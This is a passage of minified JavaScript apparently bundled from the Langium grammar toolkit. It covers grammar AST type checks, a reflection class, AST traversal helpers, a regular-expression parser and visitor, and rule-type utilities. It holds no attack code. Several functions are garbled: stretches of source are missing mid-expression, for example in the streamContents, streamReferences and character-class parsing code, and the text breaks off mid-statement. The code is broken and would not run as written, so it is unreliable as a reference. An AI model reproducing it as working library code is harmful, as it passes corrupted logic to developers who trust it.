Fl(t){return pr.isInstance(t,Ug)}function sO(t){return pr.isInstance(t,Hg)}function Mp(t){return pr.isInstance(t,qg)}function oO(t){return pr.isInstance(t,Wg)}function Of(t){return pr.isInstance(t,Yg)}function Zo(t){return pr.isInstance(t,Xg)}function lO(t){return pr.isInstance(t,jg)}function cO(t){return pr.isInstance(t,Kg)}function $l(t){return pr.isInstance(t,Qg)}function uO(t){return pr.isInstance(t,Zg)}function hO(t){return pr.isInstance(t,Jg)}function FE(t){return pr.isInstance(t,e1)}function $E(t){return pr.isInstance(t,t1)}function fO(t){return pr.isInstance(t,r1)}function dO(t){return pr.isInstance(t,n1)}var wWe,bg,Tg,Nx,ME,Mx,wg,kg,Eg,Sg,Cg,Ag,_g,Ix,Dg,Lg,Ox,Rg,Ng,Mg,Ig,Og,Pg,Px,Bg,Fg,Np,$g,Bx,zg,Gg,Vg,Ug,Hg,qg,Wg,Yg,Xg,jg,Kg,Qg,Zg,Jg,e1,t1,r1,n1,i1,pr,Hc=N(()=>{"use strict";Pl();wWe={ID:/\^?[_a-zA-Z][\w_]*/,STRING:/"(\\.|[^"\\])*"|'(\\.|[^'\\])*'/,NUMBER:/NaN|-?((\d*\.\d+|\d+)([Ee][+-]?\d+)?|Infinity)/,RegexLiteral:/\/(?![*+?])(?:[^\r\n\[/\\]|\\.|\[(?:[^\r\n\]\\]|\\.)*\])+\/[a-z]*/,WS:/\s+/,ML_COMMENT:/\/\*[\s\S]*?\*\//,SL_COMMENT:/\/\/[^\n\r]*/},bg="AbstractRule";o(kWe,"isAbstractRule");Tg="AbstractType";o(EWe,"isAbstractType");Nx="Condition";o(SWe,"isCondition");o(CWe,"isFeatureName");o(Ofe,"isPrimitiveType");ME="TypeDefinition";o(AWe,"isTypeDefinition");Mx="ValueLiteral";o(_We,"isValueLiteral");wg="AbstractElement";o(Fx,"isAbstractElement");kg="ArrayLiteral";o(DWe,"isArrayLiteral");Eg="ArrayType";o(QI,"isArrayType");Sg="BooleanLiteral";o(ZI,"isBooleanLiteral");Cg="Conjunction";o(JI,"isConjunction");Ag="Disjunction";o(eO,"isDisjunction");_g="Grammar";o(LWe,"isGrammar");Ix="GrammarImport";o(RWe,"isGrammarImport");Dg="InferredType";o(IE,"isInferredType");Lg="Interface";o(OE,"isInterface");Ox="NamedArgument";o(NWe,"isNamedArgument");Rg="Negation";o(tO,"isNegation");Ng="NumberLiteral";o(MWe,"isNumberLiteral");Mg="Parameter";o(IWe,"isParameter");Ig="ParameterReference";o(rO,"isParameterReference");Og="ParserRule";o(Ga,"isParserRule");Pg="ReferenceType";o(nO,"isReferenceType");Px="ReturnType";o(iO,"isReturnType");Bg="SimpleType";o(PE,"isSimpleType");Fg="StringLiteral";o(OWe,"isStringLiteral");Np="TerminalRule";o(mo,"isTerminalRule");$g="Type";o($x,"isType");Bx="TypeAttribute";o(PWe,"isTypeAttribute");zg="UnionType";o(aO,"isUnionType");Gg="Action";o(qu,"isAction");Vg="Alternatives";o(BE,"isAlternatives");Ug="Assignment";o(Fl,"isAssignment");Hg="CharacterRange";o(sO,"isCharacterRange");qg="CrossReference";o(Mp,"isCrossReference");Wg="EndOfFile";o(oO,"isEndOfFile");Yg="Group";o(Of,"isGroup");Xg="Keyword";o(Zo,"isKeyword");jg="NegatedToken";o(lO,"isNegatedToken");Kg="RegexToken";o(cO,"isRegexToken");Qg="RuleCall";o($l,"isRuleCall");Zg="TerminalAlternatives";o(uO,"isTerminalAlternatives");Jg="TerminalGroup";o(hO,"isTerminalGroup");e1="TerminalRuleCall";o(FE,"isTerminalRuleCall");t1="UnorderedGroup";o($E,"isUnorderedGroup");r1="UntilToken";o(fO,"isUntilToken");n1="Wildcard";o(dO,"isWildcard");i1=class extends Ap{static{o(this,"LangiumGrammarAstReflection")}getAllTypes(){return[wg,bg,Tg,Gg,Vg,kg,Eg,Ug,Sg,Hg,Nx,Cg,qg,Ag,Wg,_g,Ix,Yg,Dg,Lg,Xg,Ox,jg,Rg,Ng,Mg,Ig,Og,Pg,Kg,Px,Qg,Bg,Fg,Zg,Jg,Np,e1,$g,Bx,ME,zg,t1,r1,Mx,n1]}computeIsSubtype(e,r){switch(e){case Gg:case Vg:case Ug:case Hg:case qg:case Wg:case Yg:case Xg:case jg:case Kg:case Qg:case Zg:case Jg:case e1:case t1:case r1:case n1:return this.isSubtype(wg,r);case kg:case Ng:case Fg:return this.isSubtype(Mx,r);case Eg:case Pg:case Bg:case zg:return this.isSubtype(ME,r);case Sg:return this.isSubtype(Nx,r)||this.isSubtype(Mx,r);case Cg:case Ag:case Rg:case Ig:return this.isSubtype(Nx,r);case Dg:case Lg:case $g:return this.isSubtype(Tg,r);case Og:return this.isSubtype(bg,r)||this.isSubtype(Tg,r);case Np:return this.isSubtype(bg,r);default:return!1}}getReferenceType(e){let r=`${e.container.$type}:${e.property}`;switch(r){case"Action:type":case"CrossReference:type":case"Interface:superTypes":case"ParserRule:returnType":case"SimpleType:typeRef":return Tg;case"Grammar:hiddenTokens":case"ParserRule:hiddenTokens":case"RuleCall:rule":return bg;case"Grammar:usedGrammars":return _g;case"NamedArgument:parameter":case"ParameterReference:parameter":return Mg;case"TerminalRuleCall:rule":return Np;default:throw new Error(`${r} is not a valid reference id.`)}}getTypeMetaData(e){switch(e){case wg:return{name:wg,properties:[{name:"cardinality"},{name:"lookahead"}]};case kg:return{name:kg,properties:[{name:"elements",defaultValue:[]}]};case Eg:return{name:Eg,properties:[{name:"elementType"}]};case Sg:return{name:Sg,properties:[{name:"true",defaultValue:!1}]};case Cg:return{name:Cg,properties:[{name:"left"},{name:"right"}]};case Ag:return{name:Ag,properties:[{name:"left"},{name:"right"}]};case _g:return{name:_g,properties:[{name:"definesHiddenTokens",defaultValue:!1},{name:"hiddenTokens",defaultValue:[]},{name:"imports",defaultValue:[]},{name:"interfaces",defaultValue:[]},{name:"isDeclared",defaultValue:!1},{name:"name"},{name:"rules",defaultValue:[]},{name:"types",defaultValue:[]},{name:"usedGrammars",defaultValue:[]}]};case Ix:return{name:Ix,properties:[{name:"path"}]};case Dg:return{name:Dg,properties:[{name:"name"}]};case Lg:return{name:Lg,properties:[{name:"attributes",defaultValue:[]},{name:"name"},{name:"superTypes",defaultValue:[]}]};case Ox:return{name:Ox,properties:[{name:"calledByName",defaultValue:!1},{name:"parameter"},{name:"value"}]};case Rg:return{name:Rg,properties:[{name:"value"}]};case Ng:return{name:Ng,properties:[{name:"value"}]};case Mg:return{name:Mg,properties:[{name:"name"}]};case Ig:return{name:Ig,properties:[{name:"parameter"}]};case Og:return{name:Og,properties:[{name:"dataType"},{name:"definesHiddenTokens",defaultValue:!1},{name:"definition"},{name:"entry",defaultValue:!1},{name:"fragment",defaultValue:!1},{name:"hiddenTokens",defaultValue:[]},{name:"inferredType"},{name:"name"},{name:"parameters",defaultValue:[]},{name:"returnType"},{name:"wildcard",defaultValue:!1}]};case Pg:return{name:Pg,properties:[{name:"referenceType"}]};case Px:return{name:Px,properties:[{name:"name"}]};case Bg:return{name:Bg,properties:[{name:"primitiveType"},{name:"stringType"},{name:"typeRef"}]};case Fg:return{name:Fg,properties:[{name:"value"}]};case Np:return{name:Np,properties:[{name:"definition"},{name:"fragment",defaultValue:!1},{name:"hidden",defaultValue:!1},{name:"name"},{name:"type"}]};case $g:return{name:$g,properties:[{name:"name"},{name:"type"}]};case Bx:return{name:Bx,properties:[{name:"defaultValue"},{name:"isOptional",defaultValue:!1},{name:"name"},{name:"type"}]};case zg:return{name:zg,properties:[{name:"types",defaultValue:[]}]};case Gg:return{name:Gg,properties:[{name:"cardinality"},{name:"feature"},{name:"inferredType"},{name:"lookahead"},{name:"operator"},{name:"type"}]};case Vg:return{name:Vg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case Ug:return{name:Ug,properties:[{name:"cardinality"},{name:"feature"},{name:"lookahead"},{name:"operator"},{name:"terminal"}]};case Hg:return{name:Hg,properties:[{name:"cardinality"},{name:"left"},{name:"lookahead"},{name:"right"}]};case qg:return{name:qg,properties:[{name:"cardinality"},{name:"deprecatedSyntax",defaultValue:!1},{name:"lookahead"},{name:"terminal"},{name:"type"}]};case Wg:return{name:Wg,properties:[{name:"cardinality"},{name:"lookahead"}]};case Yg:return{name:Yg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"guardCondition"},{name:"lookahead"}]};case Xg:return{name:Xg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"value"}]};case jg:return{name:jg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"terminal"}]};case Kg:return{name:Kg,properties:[{name:"cardinality"},{name:"lookahead"},{name:"regex"}]};case Qg:return{name:Qg,properties:[{name:"arguments",defaultValue:[]},{name:"cardinality"},{name:"lookahead"},{name:"rule"}]};case Zg:return{name:Zg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case Jg:return{name:Jg,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case e1:return{name:e1,properties:[{name:"cardinality"},{name:"lookahead"},{name:"rule"}]};case t1:return{name:t1,properties:[{name:"cardinality"},{name:"elements",defaultValue:[]},{name:"lookahead"}]};case r1:return{name:r1,properties:[{name:"cardinality"},{name:"lookahead"},{name:"terminal"}]};case n1:return{name:n1,properties:[{name:"cardinality"},{name:"lookahead"}]};default:return{name:e,properties:[]}}}},pr=new i1});var GE={};dr(GE,{assignMandatoryProperties:()=>gO,copyAstNode:()=>mO,findLocalReferences:()=>FWe,findRootNode:()=>Gx,getContainerOfType:()=>Ip,getDocument:()=>Va,hasContainerOfType:()=>BWe,linkContentToContainer:()=>zE,streamAllContents:()=>qc,streamAst:()=>Jo,streamContents:()=>Vx,streamReferences:()=>a1});function zE(t){for(let[e,r]of Object.entries(t))e.startsWith("$")||(Array.isArray(r)?r.forEach((n,i)=>{li(n)&&(n.$container=t,n.$containerProperty=e,n.$containerIndex=i)}):li(r)&&(r.$container=t,r.$containerProperty=e))}function Ip(t,e){let r=t;for(;r;){if(e(r))return r;r=r.$container}}function BWe(t,e){let r=t;for(;r;){if(e(r))return!0;r=r.$container}return!1}function Va(t){let r=Gx(t).$document;if(!r)throw new Error("AST node has no document.");return r}function Gx(t){for(;t.$container;)t=t.$container;return t}function Vx(t,e){if(!t)throw new Error("Node must be an AstNode.");let r=e?.range;return new po(()=>({keys:Object.keys(t),keyIndex:0,arrayIndex:0}),n=>{for(;n.keyIndexVx(r,e))}function Jo(t,e){if(t){if(e?.range&&!pO(t,e.range))return new Gc(t,()=>[])}else throw new Error("Root node must be an AstNode.");return new Gc(t,r=>Vx(r,e),{includeRoot:!0})}function pO(t,e){var r;if(!e)return!0;let n=(r=t.$cstNode)===null||r===void 0?void 0:r.range;return n?XI(n,e):!1}function a1(t){return new po(()=>({keys:Object.keys(t),keyIndex:0,arrayIndex:0}),e=>{for(;e.keyIndex{a1(n).forEach(i=>{i.reference.ref===t&&r.push(i.reference)})}),an(r)}function gO(t,e){let r=t.getTypeMetaData(e.$type),n=e;for(let i of r.properties)i.defaultValue!==void 0&&n[i.name]===void 0&&(n[i.name]=Pfe(i.defaultValue))}function Pfe(t){return Array.isArray(t)?[...t.map(Pfe)]:t}function mO(t,e){let r={$type:t.$type};for(let[n,i]of Object.entries(t))if(!n.startsWith("$"))if(li(i))r[n]=mO(i,e);else if(Ta(i))r[n]=e(r,n,i.$refNode,i.$refText);else if(Array.isArray(i)){let a=[];for(let s of i)li(s)?a.push(mO(s,e)):Ta(s)?a.push(e(r,n,s.$refNode,s.$refText)):a.push(s);r[n]=a}else r[n]=i;return zE(r),r}var hs=N(()=>{"use strict";Pl();Ys();Bl();o(zE,"linkContentToContainer");o(Ip,"getContainerOfType");o(BWe,"hasContainerOfType");o(Va,"getDocument");o(Gx,"findRootNode");o(Vx,"streamContents");o(qc,"streamAllContents");o(Jo,"streamAst");o(pO,"isAstNodeInRange");o(a1,"streamReferences");o(FWe,"findLocalReferences");o(gO,"assignMandatoryProperties");o(Pfe,"copyDefaultValue");o(mO,"copyAstNode")});function lr(t){return t.charCodeAt(0)}function VE(t,e){Array.isArray(t)?t.forEach(function(r){e.push(r)}):e.push(t)}function s1(t,e){if(t[e]===!0)throw"duplicate flag "+e;let r=t[e];t[e]=!0}function Op(t){if(t===void 0)throw Error("Internal Error - Should never get here!");return!0}function Ux(){throw Error("Internal Error - Should never get here!")}function yO(t){return t.type==="Character"}var vO=N(()=>{"use strict";o(lr,"cc");o(VE,"insertToSet");o(s1,"addFlag");o(Op,"ASSERT_EXISTS");o(Ux,"ASSERT_NEVER_REACH_HERE");o(yO,"isCharacter")});var Hx,qx,xO,Bfe=N(()=>{"use strict";vO();Hx=[];for(let t=lr("0");t<=lr("9");t++)Hx.push(t);qx=[lr("_")].concat(Hx);for(let t=lr("a");t<=lr("z");t++)qx.push(t);for(let t=lr("A");t<=lr("Z");t++)qx.push(t);xO=[lr(" "),lr("\f"),lr(` +`),lr("\r"),lr(" "),lr("\v"),lr(" "),lr("\xA0"),lr("\u1680"),lr("\u2000"),lr("\u2001"),lr("\u2002"),lr("\u2003"),lr("\u2004"),lr("\u2005"),lr("\u2006"),lr("\u2007"),lr("\u2008"),lr("\u2009"),lr("\u200A"),lr("\u2028"),lr("\u2029"),lr("\u202F"),lr("\u205F"),lr("\u3000"),lr("\uFEFF")]});var $We,UE,zWe,Pp,Ffe=N(()=>{"use strict";vO();Bfe();$We=/[0-9a-fA-F]/,UE=/[0-9]/,zWe=/[1-9]/,Pp=class{static{o(this,"RegExpParser")}constructor(){this.idx=0,this.input="",this.groupIdx=0}saveState(){return{idx:this.idx,input:this.input,groupIdx:this.groupIdx}}restoreState(e){this.idx=e.idx,this.input=e.input,this.groupIdx=e.groupIdx}pattern(e){this.idx=0,this.input=e,this.groupIdx=0,this.consumeChar("/");let r=this.disjunction();this.consumeChar("/");let n={type:"Flags",loc:{begin:this.idx,end:e.length},global:!1,ignoreCase:!1,multiLine:!1,unicode:!1,sticky:!1};for(;this.isRegExpFlag();)switch(this.popChar()){case"g":s1(n,"global");break;case"i":s1(n,"ignoreCase");break;case"m":s1(n,"multiLine");break;case"u":s1(n,"unicode");break;case"y":s1(n,"sticky");break}if(this.idx!==this.input.length)throw Error("Redundant input: "+this.input.substring(this.idx));return{type:"Pattern",flags:n,value:r,loc:this.loc(0)}}disjunction(){let e=[],r=this.idx;for(e.push(this.alternative());this.peekChar()==="|";)this.consumeChar("|"),e.push(this.alternative());return{type:"Disjunction",value:e,loc:this.loc(r)}}alternative(){let e=[],r=this.idx;for(;this.isTerm();)e.push(this.term());return{type:"Alternative",value:e,loc:this.loc(r)}}term(){return this.isAssertion()?this.assertion():this.atom()}assertion(){let e=this.idx;switch(this.popChar()){case"^":return{type:"StartAnchor",loc:this.loc(e)};case"$":return{type:"EndAnchor",loc:this.loc(e)};case"\\":switch(this.popChar()){case"b":return{type:"WordBoundary",loc:this.loc(e)};case"B":return{type:"NonWordBoundary",loc:this.loc(e)}}throw Error("Invalid Assertion Escape");case"(":this.consumeChar("?");let r;switch(this.popChar()){case"=":r="Lookahead";break;case"!":r="NegativeLookahead";break}Op(r);let n=this.disjunction();return this.consumeChar(")"),{type:r,value:n,loc:this.loc(e)}}return Ux()}quantifier(e=!1){let r,n=this.idx;switch(this.popChar()){case"*":r={atLeast:0,atMost:1/0};break;case"+":r={atLeast:1,atMost:1/0};break;case"?":r={atLeast:0,atMost:1};break;case"{":let i=this.integerIncludingZero();switch(this.popChar()){case"}":r={atLeast:i,atMost:i};break;case",":let a;this.isDigit()?(a=this.integerIncludingZero(),r={atLeast:i,atMost:a}):r={atLeast:i,atMost:1/0},this.consumeChar("}");break}if(e===!0&&r===void 0)return;Op(r);break}if(!(e===!0&&r===void 0)&&Op(r))return this.peekChar(0)==="?"?(this.consumeChar("?"),r.greedy=!1):r.greedy=!0,r.type="Quantifier",r.loc=this.loc(n),r}atom(){let e,r=this.idx;switch(this.peekChar()){case".":e=this.dotAll();break;case"\\":e=this.atomEscape();break;case"[":e=this.characterClass();break;case"(":e=this.group();break}return e===void 0&&this.isPatternCharacter()&&(e=this.patternCharacter()),Op(e)?(e.loc=this.loc(r),this.isQuantifier()&&(e.quantifier=this.quantifier()),e):Ux()}dotAll(){return this.consumeChar("."),{type:"Set",complement:!0,value:[lr(` +`),lr("\r"),lr("\u2028"),lr("\u2029")]}}atomEscape(){switch(this.consumeChar("\\"),this.peekChar()){case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":return this.decimalEscapeAtom();case"d":case"D":case"s":case"S":case"w":case"W":return this.characterClassEscape();case"f":case"n":case"r":case"t":case"v":return this.controlEscapeAtom();case"c":return this.controlLetterEscapeAtom();case"0":return this.nulCharacterAtom();case"x":return this.hexEscapeSequenceAtom();case"u":return this.regExpUnicodeEscapeSequenceAtom();default:return this.identityEscapeAtom()}}decimalEscapeAtom(){return{type:"GroupBackReference",value:this.positiveInteger()}}characterClassEscape(){let e,r=!1;switch(this.popChar()){case"d":e=Hx;break;case"D":e=Hx,r=!0;break;case"s":e=xO;break;case"S":e=xO,r=!0;break;case"w":e=qx;break;case"W":e=qx,r=!0;break}return Op(e)?{type:"Set",value:e,complement:r}:Ux()}controlEscapeAtom(){let e;switch(this.popChar()){case"f":e=lr("\f");break;case"n":e=lr(` +`);break;case"r":e=lr("\r");break;case"t":e=lr(" ");break;case"v":e=lr("\v");break}return Op(e)?{type:"Character",value:e}:Ux()}controlLetterEscapeAtom(){this.consumeChar("c");let e=this.popChar();if(/[a-zA-Z]/.test(e)===!1)throw Error("Invalid ");return{type:"Character",value:e.toUpperCase().charCodeAt(0)-64}}nulCharacterAtom(){return this.consumeChar("0"),{type:"Character",value:lr("\0")}}hexEscapeSequenceAtom(){return this.consumeChar("x"),this.parseHexDigits(2)}regExpUnicodeEscapeSequenceAtom(){return this.consumeChar("u"),this.parseHexDigits(4)}identityEscapeAtom(){let e=this.popChar();return{type:"Character",value:lr(e)}}classPatternCharacterAtom(){switch(this.peekChar()){case` +`:case"\r":case"\u2028":case"\u2029":case"\\":case"]":throw Error("TBD");default:let e=this.popChar();return{type:"Character",value:lr(e)}}}characterClass(){let e=[],r=!1;for(this.consumeChar("["),this.peekChar(0)==="^"&&(this.consumeChar("^"),r=!0);this.isClassAtom();){let n=this.classAtom(),i=n.type==="Character";if(yO(n)&&this.isRangeDash()){this.consumeChar("-");let a=this.classAtom(),s=a.type==="Character";if(yO(a)){if(a.value=this.input.length)throw Error("Unexpected end of input");this.idx++}loc(e){return{begin:e,end:this.idx}}}});var Wc,$fe=N(()=>{"use strict";Wc=class{static{o(this,"BaseRegExpVisitor")}visitChildren(e){for(let r in e){let n=e[r];e.hasOwnProperty(r)&&(n.type!==void 0?this.visit(n):Array.isArray(n)&&n.forEach(i=>{this.visit(i)},this))}}visit(e){switch(e.type){case"Pattern":this.visitPattern(e);break;case"Flags":this.visitFlags(e);break;case"Disjunction":this.visitDisjunction(e);break;case"Alternative":this.visitAlternative(e);break;case"StartAnchor":this.visitStartAnchor(e);break;case"EndAnchor":this.visitEndAnchor(e);break;case"WordBoundary":this.visitWordBoundary(e);break;case"NonWordBoundary":this.visitNonWordBoundary(e);break;case"Lookahead":this.visitLookahead(e);break;case"NegativeLookahead":this.visitNegativeLookahead(e);break;case"Character":this.visitCharacter(e);break;case"Set":this.visitSet(e);break;case"Group":this.visitGroup(e);break;case"GroupBackReference":this.visitGroupBackReference(e);break;case"Quantifier":this.visitQuantifier(e);break}this.visitChildren(e)}visitPattern(e){}visitFlags(e){}visitDisjunction(e){}visitAlternative(e){}visitStartAnchor(e){}visitEndAnchor(e){}visitWordBoundary(e){}visitNonWordBoundary(e){}visitLookahead(e){}visitNegativeLookahead(e){}visitCharacter(e){}visitSet(e){}visitGroup(e){}visitGroupBackReference(e){}visitQuantifier(e){}}});var Wx=N(()=>{"use strict";Ffe();$fe()});var HE={};dr(HE,{NEWLINE_REGEXP:()=>TO,escapeRegExp:()=>Fp,getCaseInsensitivePattern:()=>kO,getTerminalParts:()=>GWe,isMultilineComment:()=>wO,isWhitespace:()=>o1,partialMatches:()=>EO,partialRegExp:()=>Vfe,whitespaceCharacters:()=>Gfe});function GWe(t){try{typeof t!="string"&&(t=t.source),t=`/${t}/`;let e=zfe.pattern(t),r=[];for(let n of e.value.value)Bp.reset(t),Bp.visit(n),r.push({start:Bp.startRegexp,end:Bp.endRegex});return r}catch{return[]}}function wO(t){try{return typeof t=="string"&&(t=new RegExp(t)),t=t.toString(),Bp.reset(t),Bp.visit(zfe.pattern(t)),Bp.multiline}catch{return!1}}function o1(t){let e=typeof t=="string"?new RegExp(t):t;return Gfe.some(r=>e.test(r))}function Fp(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function kO(t){return Array.prototype.map.call(t,e=>/\w/.test(e)?`[${e.toLowerCase()}${e.toUpperCase()}]`:Fp(e)).join("")}function EO(t,e){let r=Vfe(t),n=e.match(r);return!!n&&n[0].length>0}function Vfe(t){typeof t=="string"&&(t=new RegExp(t));let e=t,r=t.source,n=0;function i(){let a="",s;function l(h){a+=r.substr(n,h),n+=h}o(l,"appendRaw");function u(h){a+="(?:"+r.substr(n,h)+"|$)",n+=h}for(o(u,"appendOptional");n",n)-n+1);break;default:u(2);break}break;case"[":s=/\[(?:\\.|.)*?\]/g,s.lastIndex=n,s=s.exec(r)||[],u(s[0].length);break;case"|":case"^":case"$":case"*":case"+":case"?":l(1);break;case"{":s=/\{\d+,?\d*\}/g,s.lastIndex=n,s=s.exec(r),s?l(s[0].length):u(1);break;case"(":if(r[n+1]==="?")switch(r[n+2]){case":":a+="(?:",n+=3,a+=i()+"|$)";break;case"=":a+="(?=",n+=3,a+=i()+")";break;case"!":s=n,n+=3,i(),a+=r.substr(s,n-s);break;case"<":switch(r[n+3]){case"=":case"!":s=n,n+=4,i(),a+=r.substr(s,n-s);break;default:l(r.indexOf(">",n)-n+1),a+=i()+"|$)";break}break}else l(1),a+=i()+"|$)";break;case")":return++n,a;default:u(1);break}return a}return o(i,"process"),new RegExp(i(),t.flags)}var TO,zfe,bO,Bp,Gfe,l1=N(()=>{"use strict";Wx();TO=/\r?\n/gm,zfe=new Pp,bO=class extends Wc{static{o(this,"TerminalRegExpVisitor")}constructor(){super(...arguments),this.isStarting=!0,this.endRegexpStack=[],this.multiline=!1}get endRegex(){return this.endRegexpStack.join("")}reset(e){this.multiline=!1,this.regex=e,this.startRegexp="",this.isStarting=!0,this.endRegexpStack=[]}visitGroup(e){e.quantifier&&(this.isStarting=!1,this.endRegexpStack=[])}visitCharacter(e){let r=String.fromCharCode(e.value);if(!this.multiline&&r===` +`&&(this.multiline=!0),e.quantifier)this.isStarting=!1,this.endRegexpStack=[];else{let n=Fp(r);this.endRegexpStack.push(n),this.isStarting&&(this.startRegexp+=n)}}visitSet(e){if(!this.multiline){let r=this.regex.substring(e.loc.begin,e.loc.end),n=new RegExp(r);this.multiline=!!` +`.match(n)}if(e.quantifier)this.isStarting=!1,this.endRegexpStack=[];else{let r=this.regex.substring(e.loc.begin,e.loc.end);this.endRegexpStack.push(r),this.isStarting&&(this.startRegexp+=r)}}visitChildren(e){e.type==="Group"&&e.quantifier||super.visitChildren(e)}},Bp=new bO;o(GWe,"getTerminalParts");o(wO,"isMultilineComment");Gfe=`\f +\r \v \xA0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u2028\u2029\u202F\u205F\u3000\uFEFF`.split("");o(o1,"isWhitespace");o(Fp,"escapeRegExp");o(kO,"getCaseInsensitivePattern");o(EO,"partialMatches");o(Vfe,"partialRegExp")});var WE={};dr(WE,{findAssignment:()=>MO,findNameAssignment:()=>qE,findNodeForKeyword:()=>RO,findNodeForProperty:()=>Xx,findNodesForKeyword:()=>VWe,findNodesForKeywordInternal:()=>NO,findNodesForProperty:()=>DO,getActionAtElement:()=>Yfe,getActionType:()=>jfe,getAllReachableRules:()=>Yx,getCrossReferenceTerminal:()=>AO,getEntryRule:()=>Ufe,getExplicitRuleType:()=>c1,getHiddenRules:()=>Hfe,getRuleType:()=>IO,getRuleTypeName:()=>YWe,getTypeName:()=>Kx,isArrayCardinality:()=>HWe,isArrayOperator:()=>qWe,isCommentTerminal:()=>_O,isDataType:()=>WWe,isDataTypeRule:()=>jx,isOptionalCardinality:()=>UWe,terminalRegex:()=>u1});function Ufe(t){return t.rules.find(e=>Ga(e)&&e.entry)}function Hfe(t){return t.rules.filter(e=>mo(e)&&e.hidden)}function Yx(t,e){let r=new Set,n=Ufe(t);if(!n)return new Set(t.rules);let i=[n].concat(Hfe(t));for(let s of i)qfe(s,r,e);let a=new Set;for(let s of t.rules)(r.has(s.name)||mo(s)&&s.hidden)&&a.add(s);return a}function qfe(t,e,r){e.add(t.name),qc(t).forEach(n=>{if($l(n)||r&&FE(n)){let i=n.rule.ref;i&&!e.has(i.name)&&qfe(i,e,r)}})}function AO(t){if(t.terminal)return t.terminal;if(t.type.ref){let e=qE(t.type.ref);return e?.terminal}}function _O(t){return t.hidden&&!o1(u1(t))}function DO(t,e){return!t||!e?[]:LO(t,e,t.astNode,!0)}function Xx(t,e,r){if(!t||!e)return;let n=LO(t,e,t.astNode,!0);if(n.length!==0)return r!==void 0?r=Math.max(0,Math.min(r,n.length-1)):r=0,n[r]}function LO(t,e,r,n){if(!n){let i=Ip(t.grammarSource,Fl);if(i&&i.feature===e)return[t]}return Ol(t)&&t.astNode===r?t.content.flatMap(i=>LO(i,e,r,!1)):[]}function VWe(t,e){return t?NO(t,e,t?.astNode):[]}function RO(t,e,r){if(!t)return;let n=NO(t,e,t?.astNode);if(n.length!==0)return r!==void 0?r=Math.max(0,Math.min(r,n.length-1)):r=0,n[r]}function NO(t,e,r){if(t.astNode!==r)return[];if(Zo(t.grammarSource)&&t.grammarSource.value===e)return[t];let n=Dp(t).iterator(),i,a=[];do if(i=n.next(),!i.done){let s=i.value;s.astNode===r?Zo(s.grammarSource)&&s.grammarSource.value===e&&a.push(s):n.prune()}while(!i.done);return a}function MO(t){var e;let r=t.astNode;for(;r===((e=t.container)===null||e===void 0?void 0:e.astNode);){let n=Ip(t.grammarSource,Fl);if(n)return n;t=t.container}}function qE(t){let e=t;return IE(e)&&(qu(e.$container)?e=e.$container.$container:Ga(e.$container)?e=e.$container:Uc(e.$container)),Wfe(t,e,new Map)}function Wfe(t,e,r){var n;function i(a,s){let l;return Ip(a,Fl)||(l=Wfe(s,s,r)),r.set(t,l),l}if(o(i,"go"),r.has(t))return r.get(t);r.set(t,void 0);for(let a of qc(e)){if(Fl(a)&&a.feature.toLowerCase()==="name")return r.set(t,a),a;if($l(a)&&Ga(a.rule.ref))return i(a,a.rule.ref);if(PE(a)&&(!((n=a.typeRef)===null||n===void 0)&&n.ref))return i(a,a.typeRef.ref)}}function Yfe(t){let e=t.$container;if(Of(e)){let r=e.elements,n=r.indexOf(t);for(let i=n-1;i>=0;i--){let a=r[i];if(qu(a))return a;{let s=qc(r[i]).find(qu);if(s)return s}}}if(Fx(e))return Yfe(e)}function UWe(t,e){return t==="?"||t==="*"||Of(e)&&!!e.guardCondition}function HWe(t){return t==="*"||t==="+"}function qWe(t){return t==="+="}function jx(t){return Xfe(t,new Set)}function Xfe(t,e){if(e.has(t))return!0;e.add(t);for(let r of qc(t))if($l(r)){if(!r.rule.ref||Ga(r.rule.ref)&&!Xfe(r.rule.ref,e))return!1}else{if(Fl(r))return!1;if(qu(r))return!1}return!!t.definition}function WWe(t){return CO(t.type,new Set)}function CO(t,e){if(e.has(t))return!0;if(e.add(t),QI(t))return!1;if(nO(t))return!1;if(aO(t))return t.types.every(r=>CO(r,e));if(PE(t)){if(t.primitiveType!==void 0)return!0;if(t.stringType!==void 0)return!0;if(t.typeRef!==void 0){let r=t.typeRef.ref;return $x(r)?CO(r.type,e):!1}else return!1}else return!1}function c1(t){if(t.inferredType)return t.inferredType.name;if(t.dataType)return t.dataType;if(t.returnType){let e=t.returnType.ref;if(e){if(Ga(e))return e.name;if(OE(e)||$x(e))return e.name}}}function Kx(t){var e;if(Ga(t))return jx(t)?t.name:(e=c1(t))!==null&&e!==void 0?e:t.name;if(OE(t)||$x(t)||iO(t))return t.name;if(qu(t)){let r=jfe(t);if(r)return r}else if(IE(t))return t.name;throw new Error("Cannot get name of Unknown Type")}function jfe(t){var e;if(t.inferredType)return t.inferredType.name;if(!((e=t.type)===null||e===void 0)&&e.ref)return Kx(t.type.ref)}function YWe(t){var e,r,n;return mo(t)?(r=(e=t.type)===null||e===void 0?void 0:e.name)!==null&&r!==void 0?r:"string":jx(t)?t.name:(n=c1(t))!==null&&n!==void 0?n:t.name}function IO(t){var e,r,n;return mo(t)?(r=(e=t.type)===null||e===void 0?void 0:e.name)!==null&&r!==void 0?r:"string":(n=c1(t))!==null&&n!==void 0?n:t.name}function u1(t){let e={s:!1,i:!1,u:!1},r=h1(t.definition,e),n=Object.entries(e).filter(([,i])=>i).map(([i])=>i).join("");return new RegExp(r,n)}function h1(t,e){if(uO(t))return XWe(t);if(hO(t))return jWe(t);if(sO(t))return ZWe(t);if(FE(t)){let r=t.rule.ref;if(!r)throw new Error("Missing rule reference.");return Wu(h1(r.definition),{cardinality:t.cardinality,lookahead:t.lookahead})}else{if(lO(t))return QWe(t);if(fO(t))return KWe(t);if(cO(t)){let r=t.regex.lastIndexOf("/"),n=t.regex.substring(1,r),i=t.regex.substring(r+1);return e&&(e.i=i.includes("i"),e.s=i.includes("s"),e.u=i.includes("u")),Wu(n,{cardinality:t.cardinality,lookahead:t.lookahead,wrap:!1})}else{if(dO(t))return 